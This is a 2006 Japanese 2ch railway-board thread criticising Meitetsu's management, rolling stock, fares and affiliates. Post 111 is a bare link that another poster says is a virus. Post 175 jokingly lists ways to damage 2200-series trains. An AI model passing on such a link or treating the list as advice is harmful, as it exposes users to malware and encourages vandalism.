110 :名無し野電車区:2006/10/18(水) 23:35:51 ID:Q8tNvt1W
>>109
元々、そこへの参拝列車なんて最初から設定されていないだろwwww

111 :名無し野電車区:2006/10/18(水) 23:42:20 ID:hRSY4jcJ
http://550909.com/?f8045066

112 :名無し野電車区:2006/10/19(木) 01:04:24 ID:4vjD3vGC
>>111
ウイルス

113 :名無し野電車区:2006/10/19(木) 18:15:20 ID:EbaHcDRm
>>108
 釣られてやるよ。小牧市の人口は約14万人で小牧線の利用者も増加傾向にあり
ますがなにか?

114 :名無し野電車区:2006/10/19(木) 20:27:28 ID:HNw+mCEU
>>110
おまえネタわかってるので萌えwww

115 :名無し野電車区:2006/10/19(木) 22:32:34 ID:7Vz2ai5z
>>113
うなわけねぇーだろ バーロwwwwwwwww

>>114
それはお前自身だろwwwwwwww

116 :名無し野電車区:2006/10/19(木) 22:50:06 ID:Uw3k2nbp
まぁ、小牧線の話なら専用スレがあるわけだし、そっちでやったらどうよ?
http://hobby7.2ch.net/test/read.cgi/rail/1152187961/

117 :名無し野電車区:2006/10/19(木) 23:33:12 ID:lvL9v8Du
名鉄は、経営努力が足りないという外部からの意見を無視して、
放漫経営をしてきたツケが今頃回ってきたようだ。

経営陣が問題を先送りしたのが、最大の原因。

118 :名無し野電車区:2006/10/20(金) 00:43:09 ID:bawr5ctG
>>116
ここは名鉄のアンチスレだから小牧線も名鉄であるのだから別にいいんジャマイカ?
名鉄から分離すれば別だけど

119 :名無し野電車区:2006/10/20(金) 01:08:28 ID:I6qZ3oqm
小牧線を上飯田止まりで長年放置し続けたアホ経営陣

120 :名無し野電車区:2006/10/20(金) 03:48:12 ID:kmD1TBWA
>>119
それは名市交の問題。名鉄は名古屋市内で勝手に線路を延ばせない。

121 :名無し野電車区:2006/10/20(金) 06:55:01 ID:iKpjGOJx
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122 :名無し野電車区:2006/10/20(金) 12:24:42 ID:Al0GER5R
犬山線をJR東海に払い下げ(地方交通線)

上小田井 営業キロ 名鉄 JR(地)        営業キロ 名鉄 JR(地)
西春     2.4km 160  140     富岡前 23.3km 490  480
徳重     3.8km 220  180     善師野 25.4km 540  480
大山寺    4.6km 220  180     西可児 29.1km 590  570
岩倉     6.2km 230  200     可児川 31.1km 650  570
石仏     8.3km 290  200     今渡   33.6km 650  650
布袋    10.7km 340  230     新可児 36.3km 710  650
江南    12.7km 340  230     明智   39.8km 770  740
柏森    15.5km 390  320     顔戸   41.4km 840  820
扶桑    17.7km 440  320     御嵩口 43.1km 840  820
木津用水 19.1km 440  320     御嵩   43.7km 900  820
犬山口   20.5km 440  400
犬山    21.4km 490  400
犬山遊園 22.6km 490  400
新鵜沼   23.3km 490  480

123 :名無し野電車区:2006/10/20(金) 13:04:36 ID:4rXfg6Xo
近畿中部日本鉄道まだぁ?

124 :名無し野電車区:2006/10/20(金) 15:08:11 ID:TH9OlIIm
小田急7000形は、名鉄7000系の槇原敬之式パクリ。

125 :名無し野電車区:2006/10/20(金) 15:10:41 ID:XBAG1oeC
JR高山線(岐阜=鵜沼)は名鉄各務原線を買収して、
路線を切り替え、非電化線は廃線にする

126 :名無し野電車区:2006/10/20(金) 15:16:31 ID:tBqQTBny
JR高山・太多線 岐阜=多治見間を
鵜沼=犬山=可児で走らせる。
犬山駅構内には短絡線を新設。

鵜沼=美濃太田=可児 15.0km 230円
新鵜沼=犬山=新可児 16.8km 440円

127 :名無し野電車区:2006/10/20(金) 16:18:42 ID:SSrURHbw
20年前(国鉄末期)
名鉄は国鉄(JR)に完敗すると確信した俺はキモヲタ

128 :名無し野電車区:2006/10/20(金) 20:55:33 ID:OmfAnvJs
>>127
そりゃぁ国鉄は本気さえ出せば何でもできる環境だったもんなぁ。

関西なんて見てみ…私鉄時代は閑散としていた大阪駅のホームが…w

129 :名無し野電車区:2006/10/20(金) 21:01:43 ID:sXFafw35
>>120
市交は関係ないだろ。路線免許取ればいいだけ。
名鉄が伸ばさないから痺れを切らして市交が建設して乗り入れさせた。
名鉄は上飯田ー大曽根の路線免許を取得しておきながら建設しなかった。

130 :名無し野電車区:2006/10/20(金) 22:08:00 ID:LZVEcTBE
名古屋駅前本社ビル売却
名鉄百貨店・メルサ・セブン売却
名鉄グランドホテル売却

131 :名無し野電車区:2006/10/20(金) 22:33:27 ID:Sf3LdFz7
今日、東岡崎でミューチケットの払戻ししようとしたが、窓口の犬に断られて、凄く不快感浴びせられた。早く撤退しろ迷鉄。

132 :名無し野電車区:2006/10/20(金) 22:37:58 ID:NX6kByU9
>>131
アホか

133 :名無し野電車区:2006/10/20(金) 23:20:09 ID:T0/5D/KQ
>>130
名鉄グランドホテル売却は有り得る。

134 :名無し野電車区:2006/10/21(土) 00:25:47 ID:QM2rBqiD
231 :名刺は切らしておりまして :2006/10/20(金) 23:59:19 ID:sXV7ZG2V
>>230
>>名鉄は新技術の導入がホントに遅く、2001年Suicaがはじまっているというのにプリペイドカードシステム「トランパス」を導入したのが2003年。
未だに「トランパス」が全駅対応になっていないというお粗末な状況。
系列会社の北陸鉄道がプリペイドカードに見向きもせずいきなり、ICカードを導入したのに比べると
情けない限りです。

135 :名無し野電車区:2006/10/21(土) 01:56:40 ID:dBlLykVo
>>129
国家プロジェクトとして国費でインフラ整備されてる国鉄の遺産を手に入れたんだから(勿論莫大な借金もだが)
自前で宅地開発して沿線に人を呼び込んで発展した町も、JRにお客をぶん取られる時代に・・・・
JR西の新駅ラッシュによる阪急潰し・・・

豊かなハード(複々線など)にソフト強化すれば鬼に金棒だもの。
ただ西はスピード、(車両や自動化による人員削減)コスト低減に力を入れたけど、安全のソフトを並行して強化しなかったために・・・

136 :名無し野電車区:2006/10/21(土) 09:31:39 ID:CjOlyqDq
なんというクオリティの低さ・・・
前回のプレスリリースを見て失望した。
この鉄道は間違いなく衰退する
       
   / ̄\
  | ^o^ |  
   \_/

137 :名無し野電車区:2006/10/21(土) 09:40:45 ID:dT2JbBg7
名鉄グループはダイエーのように解体されるだろうね

138 :グループ企業全部売却しろ:2006/10/21(土) 09:57:50 ID:vJiadcV2
大井川鐵道 豊橋鉄道 福井鉄道 北陸鉄道 名鉄バス 知多乗合 岐阜乗合自動車 東濃鉄道 名鉄東部観光バス
名古屋観光日急 網走バス 濃飛乗合自動車 北恵那交通 岐阜バスコミュニティ 宮城交通 豊鉄観光 名鉄西部観光バス
西濃華陽観光バス 北陸交通 小松バス 名鉄クレハ観光バス 名鉄交通 名鉄名古屋タクシー 愛電交通 名鉄岡崎タクシー
名鉄東部交通 名鉄知多タクシー 名鉄西部交通 豊鉄タクシー 岐阜県岐阜名鉄タクシー 濃飛交通 下呂名鉄タクシー
信州名鉄交通 武田名鉄交通 名鉄四日市タクシー 三重名鉄タクシー 石川交通 網走流氷観光砕氷船 知床観光船
太平洋フェリー 名鉄海上観光船 伊勢湾フェリー 名鉄ゴールデン航空 名鉄運輸 信州名鉄運輸 四国名鉄運輸 西肥名鉄運輸
名鉄グランドホテル 名鉄ニューグランドホテル 名鉄イン名古屋金山 伊良湖ガーデンホテル 中部国際空港セントレアホテル
名鉄犬山ホテル 豊鉄ターミナルホテル 名鉄トヨタホテル 名鉄小牧ホテル 名鉄百貨店 メルサ ロフト名古屋 めいてつエムザ
岐阜ロフト 名鉄観光サービス 碧海観光サービス 駒ケ岳ロープウェイ 新穂高ロープウェイ 奥飛観光開発 長島スポーツランド

139 :グループ企業全部売却しろ:2006/10/21(土) 09:58:20 ID:m51pATcd
二見シーパラダイス 南知多ビーチランド 博物館明治村 野外民族博物館リトルワールド 日本モンキーパーク 杉本美術館
駒ヶ根高原家族旅行村 露天こぶしの湯 駒ヶ根高原スキー場 千畳敷スキー場 伊良湖シーサイドゴルフ倶楽部 茶臼山高原スキー場
めいほうスキー場 ひるがの高原スキー場 日和田高原ロッジ・キャンプ場 名鉄乗馬クラブクレイン東海 鳥羽カントリークラブ
びわ湖バレイ 千羽平ゴルフクラブ 大鉄観光サービス 名鉄三伊会 名鉄スイミングスクール 岐阜観光索道 名鉄木長会 濃飛観光
福鉄観光社 宮交観光サービス 名鉄不動産 名古屋空港ビルディング 北陸名鉄開発 名鉄協商 熱田の森文化センター
名鉄自動車学校 メイエレック 矢作建設工業 名鉄エージェンシー メイテツコム 名鉄産業 ニッポンレンタカー名鉄 名鉄AUTO
中日本航空 桂幼稚園 サニクリーン名古屋 名鉄環境造園 名鉄コミュニティサロン植田 杜若高等学校 はなの木幼稚園
知多自動車学校 名鉄自動車専門学校 名鉄コミュニティサロン師勝西春 北鉄自動車学校 宮交自動車学校
中部エイチ・エス・エス・ティ開発 中央設備エンジニアリング 豊鉄建設 奥様ジャーナル 名鉄ビルディング管理 名鉄病院 名鉄薬品
名鉄クリーニング 名鉄交通商事 福利厚生倶楽部中部 プローグ・リスクマネジメント 名鉄自動車整備 グリーンシティケーブルテレビ
国際エアラインサービス JALスカイ名古屋 名古屋エアケータリング ホクリクコム 伊良湖旅客ターミナル中部スカイサポート
名鉄菜館 根の上高原キャンプ場 千里浜レストハウス レストラン巌門

140 :名無し野電車区:2006/10/21(土) 09:59:49 ID:Uaj8xDOS
μスカイのローレル賞受賞記念式典が11月に行われるそうだが
そこでどんなコメントをするか注目されるね
…まぁ期待できないだろうけど

141 :名無し野電車区:2006/10/21(土) 11:31:28 ID:tzztM6T0
このままでいけば産業再生機構による再建は必至だな

142 :名無し野電車区:2006/10/21(土) 12:30:36 ID:xwgHKO3K
>>139
名鉄AUTOは名鉄協商の一部なんだけどなw

143 :名無し野電車区:2006/10/21(土) 17:08:52 ID:KFKfBsPW
会社じゃ無い連絡会までグループ企業に入れてるわ、よく調べろよ。

144 :名無し野電車区:2006/10/22(日) 00:15:35 ID:FLueXnTC
中日が52年ぶり優勝日本一決めたら、新型パノラマカーつくってくれ。























145 :名無し野電車区:2006/10/22(日) 01:01:21 ID:wuAlGWMW
>>144
新生名鉄にパノラマはいらない・・・・・・・!!





    ビスタカー造れ!!!!!!!!!!!!!!!!


146 :名無し野電車区:2006/10/22(日) 14:31:17 ID:h8DuhBQb
>>144-145
間を取ってパノラマビスタカー作れ!

147 :名無し野電車区:2006/10/22(日) 14:44:54 ID:hkgKm8Ep
先頭2両が展望席で中間2両が2階建て…

148 :名無し野電車区:2006/10/22(日) 18:28:52 ID:bhgbq3mq
それいい!

149 :名無し野電車区:2006/10/22(日) 20:13:53 ID:cMjB/8YX
1階建てでいい、先頭の傾斜角度が15度で。

150 :名無し野電車区:2006/10/22(日) 20:22:44 ID:nD12vJhF
>>146
まるで255系と215系の混結だな。

151 :名無し野電車区:2006/10/22(日) 20:27:51 ID:zBacPVCc
ミュースカイ以外の全車特別車廃止で、ミューチケット収入減少を抑制するために、
特別車の1両あたり定員増(すなわち2階建)は急務だと思うが・・・

名鉄のエラ〜〜〜〜〜い人たちは、バリアフリー云々のほうが大事なんだろうな。

152 :名無し野電車区:2006/10/22(日) 20:31:51 ID:h8DuhBQb
>>151
先頭車1輛目を1階建てバリアフリー対応展望車(7000系風)にして2輛目を2階建てビスタカー風車輛にしたら両立出来るじゃないか。


153 :名無し野電車区:2006/10/22(日) 20:56:13 ID:Pc0jDMIG
名鉄的には車内全てどこでも車椅子で動き回れるのがバリアフリーと解したようだな。
指定席もロングにしてしまえよ。まさにバリアフリーだぞ。

154 :名無し野電車区:2006/10/22(日) 21:55:36 ID:yW9BZ95U
バリアフリーならノーシートカー作っちゃえよ
ロングシートは中途半端、ドアは3扉だが幅が倍
通勤ラッシュ厨も大喜びw

155 :名無し野電車区:2006/10/22(日) 22:02:10 ID:wuAlGWMW
>>153
むしろ6扉超ワイドドアの椅子なしなら究極のバリアフリー。
戸袋部に2箇所分のドアを重ねるように格納すれば可能と思う。
一方の出入り口は車体とツライチ風でもう一方の出入り口はかなり奥に引っ込んだ位置になる。
これが長距離運用にわらわら投入・・・・。 オソロシッ!!!!

156 :名無し野電車区:2006/10/22(日) 22:02:19 ID:cwkjD1nh
>>154
今の名鉄なら、ホントに造っちゃいそうで怖い・・・・。

157 :名無し野電車区:2006/10/22(日) 22:05:04 ID:3kmiqV2G
椅子無しつり革オンリー車両

158 :名無し野電車区:2006/10/22(日) 22:05:56 ID:0dTjD2Wg
つうかワムでいいよ

159 :名無し野電車区:2006/10/22(日) 22:15:12 ID:pxZAR9S/
http://mixi.jp/show_friend.pl?id=7218003
http://mixi.jp/show_friend.pl?id=7218005
http://mixi.jp/show_friend.pl?id=7217552

160 :名無し野電車区:2006/10/22(日) 23:17:54 ID:xJeaMZB+
>>158
いっそチキ(レール運搬車)型で通勤車を

161 :名無し野電車区:2006/10/24(火) 01:14:14 ID:7796fRwR
立体化も進まないし。

162 :名無し野電車区:2006/10/24(火) 09:02:17 ID:zhcx29Ww
☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
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☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
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☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
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☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺
☺☺☺☺☺☺☺☺☺☺☺☺☺☺


163 :名無し野電車区:2006/10/24(火) 09:15:05 ID:/xW7n59p
とりあえず 名鉄病院を廃院にして、
栄生駅を第二ターミナル化しろ!


164 :名無し野電車区:2006/10/24(火) 10:29:09 ID:ushtDu35
>>162
もはや荒らししか出来なくなった迷鉄厨房は哀れでつね。プゲラ


165 :名無し野電車区:2006/10/24(火) 12:13:11 ID:NZK7al94
マジネタかまだ確認出来てないが、
近年、東山線に導入される新車には液晶モニターが採用されるとか
本当ならいよいよ名鉄終了だな

166 :名無し野電車区:2006/10/24(火) 13:51:25 ID:euU8dXgZ
なんで?

167 :名無し野電車区:2006/10/24(火) 13:55:04 ID:y3FLD0tI
>>163
別に高層化してターミナルの上を病院にすればいいじゃん。
法改正でできるようになったんだし。

ただ鉄道も病院も「建替のためしばらく休業」と行かないところ
がつらいな。



168 :名無し野電車区:2006/10/24(火) 17:43:57 ID:EutcC9mL
>>165
市交スレにもあるが、CBCのサイトに情報あり。
ttp://hicbc.com/news/index.htm
他社の採用例として「山手線では15インチの液晶モニターが…」と触れた上で
来年4月に導入される車両では「小型の」液晶モニターが取り付けられると言ってる点が気になる
何だかんだ言って、サービス向上に取り組んでるようで好感が持てた
木下社長、削るばかりじゃダメですよ

169 :名無し野電車区:2006/10/24(火) 20:58:45 ID:i9K+SeRs
まあ、モニター無くていいから、安っぽい電車作らないで欲しい・・・・。
流し台なんか、危なっかしいもん。

170 :名無し野電車区:2006/10/24(火) 21:45:46 ID:X+3+GlGU
そこでシリーズ21を導入したまえ!!
あるいは阪急9000or阪急1000でも入れるか?

171 :名無し野電車区:2006/10/24(火) 22:15:08 ID:2NfVe9Qx
>>169
そうそう、流し台や2200はホントに安物。
たとえばこんなところにもコストダウンもろ見えの例として。

この間、2200の一般に乗った時に気がついたのだが両開き客用ドアの真ん中の
ゴムパッキンのスキマを通して外の景色が見えちゃうんだね。
あんなに扉が密着してないのは始めてみたのでもうびっくり!
横殴りの雨でも降られたらもう浸水しまくりだね。
昔のおんぼろの3730や3770でももっとしっかりしていたぞ!

たまに乗るJR313なんか30Km/hを越えたあたりで再度圧を掛けて
しっかり扉を閉める機構をもっている。
こんな些細なところにも最近の名鉄新造車の安物ぶりが現れていると言えよう。

172 :名無し野電車区:2006/10/24(火) 22:30:49 ID:8tFPQvUp
>>171
313なんかは閉まった直後に空気がプシューと抜けて
挟まれても大丈夫なように配慮されてるしね。

10秒位してから再度圧かけ直し。

名鉄もバリアフリーとかいうなら
安全面に気を使って欲しいな。

173 :名無し野電車区:2006/10/24(火) 22:50:39 ID:EutcC9mL
>>172
名鉄の言うバリアフリーは、展望車駆逐やコストダウンに利用された口実に過ぎない。
とりあえずバリアフリーと言えば大衆は納得する。そう思ったのだろう

ところで最近名鉄が導入した車両は本当にバリアフリーにこだわった車両なんだろうか?
・μスカイ増備車(2011、2012F)では乗降口ステップ部に設置されたLEDを省略
・銀電の扉および付近の床に分かりやすくする工夫がなされてない(あおなみ1000系他は床の色を変更、E531系では扉の一部を黄色塗装)
ちょっと筋が通ってないんじゃない?
どうも私には単純に粗悪品で誤魔化したいだけにしか思えない


174 :名無し野電車区:2006/10/25(水) 00:17:14 ID:r8/Do2AV
>>171
>>両開き客用ドアの真ん中のゴムパッキンのスキマを通して外の景色が見えちゃうんだね。

これは、JR東のE231系と同様。
あの電車もゴムパッキンに隙間ができる様になってる。
あれも挟まれても大丈夫なように配慮されたものらしい。

流し台の車体は車体のひだ(コルゲート)が全く無いので、JR東209系というよりは、小田急3000系に近い。
その上、アクセントとなるべき赤帯の幅が妙に細いので、小田急と比べてもとっても貧弱で安っぽく感じる。
あれなら、他社のパクリの方がよっぽどマシ。

175 :名無し野電車区:2006/10/25(水) 00:44:22 ID:l/4vXI4s
名鉄2200系をやんわりと早く廃車に追い込む会

・乗る前に靴の裏に塩を塗っておきましょう
・乗り込む時は勢いよく飛び乗りましょう
・加速時は車両後ろ寄り、減速時は前寄りに移動しましょう
・席に座っている時は尻や背中をゴシゴシ動かしましょう
・立っている時はなるべくドア寄りで屈伸運動をしましょう
・吊革や手すりはなるべく強く引っぱりましょう
・なるべく窓を開閉しましょう
・降りる時は反動を付けて勢いよく飛び降りましょう


176 :名無し野電車区:2006/10/25(水) 01:28:30 ID:ReEpcqiy
>>173
その癖にパノラマ席を「バリアフリーに不向き」と主張

しかも自社のシンボル否定w

177 :名無し野電車区:2006/10/25(水) 11:13:45 ID:TuG/mO3n
すげー名鉄!!!!
こんな秘策を用意してたのか特急用一般車の新車は!!

デッキで2扉、オールクロス
各車両に車いす用スペースあり
トイレも設置

一番びっくりしたのが真ん中付近の座席の横に
「降車用簡易扉」がいくつか設置されてるということ
この扉は電車が停車駅にとまる直前に指示通りに
ボタンを押すと作動し、らくらく降りられるんだぜ!
これによってラッシュの乗降時間を従来とほとんど
変わらなくさせるというのが新車の戦略なんだぜ!

これでJRを粉砕だ!

178 :名無し野電車区:2006/10/25(水) 12:11:41 ID:XwzdGZsh
系列の高校杜若でも暴行で相変わらず不祥事の温床名鉄終わった

179 :名無し野電車区:2006/10/25(水) 18:13:18 ID:NE/nCVMK
ダメ教師とダメ学校、迷鉄学園杜若高校。

180 :名無し野電車区:2006/10/25(水) 19:45:51 ID:XfKCgp0C
展望車全否定するほどバリアフリーが重要で、障害者のための鉄道を目指すんなら、
全列車パリアフリー専用車にして身体障害者と老人以外は乗車拒否しろよw
左巻きマスコミ大絶賛間違いなしだぞ。

181 :名無し野電車区:2006/10/25(水) 23:54:29 ID:YjRhoe3X
つうかバリアフリーという印籠を見せ付けてるが、
走るんデス車両、ロング化での減車、全特廃止での末端部の減便など合理化を図ってるんだろ?
小田急みたいに展望車へのこだわりをすてたのは、観光需要が減少、観光仕様は放棄→通勤通学買い物向けの着席需要へシフト(展望など必要なし、小田急のEXEタイプ?)

182 :181 訂正:2006/10/25(水) 23:56:54 ID:YjRhoe3X
>小田急みたいに展望車へのこだわりをすてたのは、観光需要が減少、観光仕様は放棄→通勤通学買い物向けの着席需要へシフト(展望など必要なし、小田急のEXEタイプ?)

小田急みたいに展望車へのこだわりを捨てたのは、
観光需要が減少→観光仕様車は廃棄、撤退
通勤通学買い物向けの着席需要へシフト(展望など必要なし、小田急のEXEタイプ?)に特化した特急サービス一本化?

183 :名無し野電車区:2006/10/26(木) 00:19:00 ID:gwBDJPFu
面倒な車両は処分してテンプレート電車で合理化(しかも、走るんですの悪い部分だけチョイスした感じ)
特急車だって、一両単位の定員が減ってるとの情報もある。
(そもそも2000系列が空港輸送を前提として開発され荷物スペースがあったりするのだから当然だわな。)

JRの静岡スレではロング確定とかそうでないとかで混乱状態。しかし、笑って見てられない
名鉄だって、静岡の悪夢をそのまま持ち込んだ感じだしね

184 :名無し野電車区:2006/10/26(木) 03:38:55 ID:EffFA5Ms
前にもあったのだが、パノラマカーは観光用ではないぞ!
あくまで当時の標準的な通勤通学用。
後年登場の白帯車にしろスーパーにしろ基本的には通勤ライナー的な車両設定。
名鉄の人も観光用とは考えていないだろう。
観光用と呼べるのは今はなき、8000DC・8500DC・8800DXぐらいだろ。

とりあえず乗客を詰め込み、JRの攻勢も我関せずで会社側の運用都合がいい車両
(安上がりで、保守コスト・省力化追求)しか頭にないであろうことは同意する。


185 :名無し野電車区:2006/10/26(木) 09:37:07 ID:/oPykFqF
そいて、これから「バリアフリー」名目で運用合理化を図るμ鉄への不満が
「バリアフリー悪」=障害者叩きに目を向けてくれる>>180などの声にはμ鉄も大歓迎だろうな。
某国の最近までの狙いと同じだなw(政府批判を反○・・・)

ウンウン。そうそう、ウチが悪いんではないよ・・・とね。

186 :名無し野電車区:2006/10/26(木) 16:09:06 ID:TWSMgibF
東海各スレが荒れている、非常に面白い。

187 :名無し野電車区:2006/10/26(木) 16:55:16 ID:9Qzt0rzm
迷鐵学園杜若高校でも社会科未履修問題発覚でwww

188 :名無し野電車区:2006/10/26(木) 17:36:01 ID:FhnynWWF
そういや、名鉄の中間決算ってもう出た?非常に気になる

189 :名無し野電車区:2006/10/26(木) 17:49:17 ID:pruPoXQ2
それにしても名鉄、最近グモが多いなあ・・・・・・・・。
あと、絶望的なこの期に及んでこんなモン出そうとしてる位だから名鉄の腐乱屍臭は「底なし∧天井知らず」だな。
(実現したなら八百長見え見えだぜ?)↓
http://www.meitetsu.co.jp/profile/news/2006/1176556_1142.html

190 :名無し野電車区:2006/10/26(木) 18:22:00 ID:/YH+DI+3
(^ω^)<特急ただで乗れたお
岩倉−名古屋

191 :名無し野電車区:2006/10/26(木) 18:35:51 ID:gwBDJPFu
>>190
本スレじゃ乗車率150%超って報告が上がってるじゃん
タダで乗れてもしんどいんじゃね?

JRもグモ未遂か?これから東海TVで放送される

192 :名無し野電車区:2006/10/26(木) 19:13:46 ID:/YH+DI+3
>>191 岩倉→名古屋な。
漏れは座席に座っていたけど、立っていたのは3、4人ぐらいしかいなかったよ。


193 :名無し野電車区:2006/10/26(木) 20:02:36 ID:4EagFXkt
名鉄学園杜若高校
学習指導要領で必修とされている世界史の授業などをしておらず、卒業できない恐れがあ
るとして、調査を始めたことを明らかにした。
この内容詳しく教えて


194 :名無し野電車区:2006/10/27(金) 06:45:14 ID:xQLB33eo
杜若って進学校だったんだ
名鉄学園だけでなくほかにも出てきそうだ

195 :名無し野電車区:2006/10/27(金) 18:12:46 ID:nMFX1rIm
ぞろぞろとね

196 :名無し野電車区:2006/10/27(金) 19:24:29 ID:Trn/JaSK
>>186
JR東海スレは関心を持ってる奴が多いからレスが多い。なので荒れる。
名鉄スレは歓心持ってる奴が少ないからレスが少ない。
・・・・でも荒れる(なんでだ?)。

197 :名無し野電車区:2006/10/27(金) 19:39:35 ID:PnBceUTc
>>196
P車全廃及び展望車駆逐政策に対する、ささやかな抗議&愚痴
「名古屋」鉄道なので、名古屋アンチによる粘着荒らし?

この地域に関係するスレをいくつか見てるが、まだ学歴云々言って荒らされないだけマシ

198 :名無し野電車区:2006/10/27(金) 20:32:59 ID:YuWq7TEH
パノラマカーが全廃される時が名鉄が長大地方私鉄に変わる時のようなキガス。
結局約半世紀、パノラマカーに代わる、ランドマーク的な車両は出なかった。そしてこれからも。
名鉄\(^O^)/オワタ

199 :名無し野電車区:2006/10/27(金) 20:47:02 ID:iSJRzElI
新・ランドマーク=成田EXPモドキw

200 :名無し野電車区:2006/10/27(金) 21:09:50 ID:iJtjbOYB
200なら名鉄消滅

201 :名無し野電車区:2006/10/27(金) 23:56:57 ID:NmubB/X8
というより7000を作らなければならない時代が客寄せ時代であり、画一車輌をつくる今が言わば普通な状態では?


202 :名無し野電車区:2006/10/28(土) 00:41:02 ID:XdT+3jOx
>>201
と、名鉄の偉い人は思ってるのかもな。
今こそ客寄せが必要なのに。当分JRにコテンパンだな。

203 :名無し野電車区:2006/10/28(土) 05:03:53 ID:F+X6sBXY
岐阜〜新鵜沼まで複線電化しているのに、
高山線と大して変わらない運行密度なのにはびっくりした。(多少名鉄のほうが多いみたいだが)

204 :名無し野電車区:2006/10/28(土) 17:44:32 ID:hkspTle7
>>203
 どこが大して変わらないんだ?高山線も単線の割にラッシュ時は本数が多いが
昼間は名鉄4本、JR2本(特急除く)が基本。

205 :203:2006/10/28(土) 21:53:19 ID:9V8uJr9R
>>204

いやいや、運転密度がね。
新鵜沼からあえて名鉄を選んだんだけど、実際駅の時刻表見てみて、想像以上に本数が少なくてびっくりしたのだ。
高山線は特急を入れれば(停車しないひだ号も鵜沼に止まると仮定して)あまり運転密度が変わらなく感じた。

206 :岐阜人:2006/10/28(土) 22:24:44 ID:lxlcft4O
新鵜沼→名鉄岐阜 25分 440円
鵜沼→岐阜 21分 320円

JRの方が速くて安いですね。JR王国岐阜と呼ばれるだけあって、岐阜県民は
JRを利用する人が多くて名鉄なんか利用しませんから。

207 :名無し野電車区:2006/10/29(日) 07:35:01 ID:tSqhhJw/
あれだけ撤退してれば、印象も悪くなるわな

208 :名無し野電車区:2006/10/29(日) 12:25:51 ID:hv/5HS0r
運賃を、営業キロという路線長を基にした長さで決めているから、
JRと比べて回り道の名鉄→遅くて高い名鉄になる。

名鉄の上層部は、ここら辺の根本原因を考えているのだろうか?
営業キロという慣習を破って、例えば、
「出発駅から主要駅までの直線距離+主要駅間の直線距離+主要駅から目的駅までの直線距離」
というように、直線距離を基に運賃決定をすれば、JRと比べて回り道区間が、さらに高運賃になるというのは防げるのでは?

と書きたいところだが、表面上の改革をわめき立てるだけで、中身は超保守的で変わらずの名鉄に、
上記のようなことを期待するのは、あまりに酷な話だろう。

209 :名無し野電車区:2006/10/29(日) 13:41:38 ID:9IE06nd6
>>208
名岐間での運賃競争で敗北

JNR1時間あたり快速1本/普通1本の時代なら兎も角、倒壊がこれだけ大増発したら、もう勝ち目はない。

倒壊武豊線増発で、もうμは−−−終了−−−

210 :名無し野電車区:2006/10/29(日) 15:03:09 ID:aqC+aY+z
>>206
 そんな単純な比較できるのか?本数は名鉄が倍なんだが・・・

211 :名無し野電車区:2006/10/29(日) 16:51:20 ID:pg/UseAc
名鉄の敗北はパノラマスーパーが乗客にとって陳腐化しているだけだと思うのだが。
着席保証はまだ魅力を残していると思う。でもパノラマスーパーが走っている間に、
JRは311、313と二度も新車を出している。パノラマスーパーに代わる高品質な新車を投入して、
名岐間、名豊間で巻き返しを図る選択はないのだろうか。

212 :名無し野電車区:2006/10/29(日) 17:04:31 ID:qheltrR7
http://pic.to/www.agui.net/imglog/met/img-box/img20061028234535.jpg


チョーク書きで・・・

213 :名無し野電車区:2006/10/29(日) 17:16:31 ID:+K2++bau
>>211
>パノラマスーパーに代わる高品質な新車を投入して、
>名岐間、名豊間で巻き返しを図る選択はないのだろうか。

9月下旬に発表された内容はこれとは真逆。JRとあまり絡まない路線を低レベルなテコ入れ
まぁ現状JRと真っ向勝負する気は無いんだろうね。
空港線と言う独占路線を手に入れた名鉄はJRと戦うことを止めた

214 :名無し野電車区:2006/10/29(日) 21:10:06 ID:Gw84DyyO
>>211>>213
最近投入した新車はパノラマスーパーやパノラマカーより陳腐化してるけどな。
特に流し台や2000・2200など。


215 :名無し野電車区:2006/10/29(日) 21:13:42 ID:hv/5HS0r
まあ、これからの名鉄の命運は、
コスト削減が運賃収入減少を上回ることができるか、といったことかw
持続可能な施策ではないけどなwwwww

216 :名無し野電車区:2006/10/30(月) 00:08:17 ID:ZGWTk49T
省力化(省エネ、作るんデス車の導入)
省人化(自動化による無人化など)
適量化(地域事情にあった適正な運用本数化=ローカルの減便→廃止)が目的なの?
現経営陣は。。。

217 :名無し野電車区:2006/10/30(月) 00:16:09 ID:mgMZeMGY
難しい事はわからんけど。
普段名鉄で、今日は用事で東海道線の211系乗ってきたけど
止まる時の衝撃が凄いね
通勤車両で満員の時にあの揺れが起きたら壊そう

218 :名無し野電車区:2006/10/30(月) 17:38:29 ID:jpYIx2zS
>>214
 2200・流し台はともかく2000は何が陳腐化している?車体傾斜装置つけて
スピードアップしているしアコモも問題ないと思うが、まさか展望車がない
のが不満とか?

219 :名無し野電車区:2006/10/30(月) 20:03:44 ID:wlUXlsyn
>>218
あと赤くないとかwwwwwww
やっぱり小田急VSEとか近鉄ULnextみたくシンボルになり得る「華」が欠如してるんだろうな・・・・。

220 :名無し野電車区:2006/10/30(月) 20:12:01 ID:RP9/Uipp
>>218
流し台まで一緒にして批判してるんだから、展望って要素じゃないだろ

○展望、車体傾斜装置って要素を無視してあえて言うなら
座席が従来車と比較して硬く、チープ。
窓付近もJR313系と大差ない。
足回りだって防音車輪にした程度。VVVFだって通勤車とほぼ同じでやかましい
(国内特急形式にあまり三菱製VVVFが採用されない点を考えると察しがつく)
こういっちゃアレだが、350円余分に必要とか舐めてるのか?とさえ思える時がある
見た目のインパクトに騙されちゃダメだ

221 :名無し野電車区:2006/10/30(月) 21:14:02 ID:tbWwGpya
間違いなく、いま全大手中でもっとも悲惨な鉄道会社だな。

222 :名無し野電車区:2006/10/30(月) 21:41:33 ID:K3xSFrWQ
廃止すれば総売上高も減るから廃止し続ける名鉄は次はどこに抜かれるんだろうな
今かろうじて日本4位を保っているが、この調子でいけばヤバいね

223 :名無し野電車区:2006/10/30(月) 21:49:03 ID:VHdwQGoM
流し台のショボさをごまかすには、来月のコンサートに向けた矢沢永吉ラッピングしかない!カモンベイベー!

224 :名無し野電車区:2006/10/30(月) 22:21:07 ID:wlUXlsyn
古い話になるが去夏600V線代替バス乗りまわした後、ミュースカイに乗って岐阜から中空行ったがその時名古屋から大量の乗車があった。
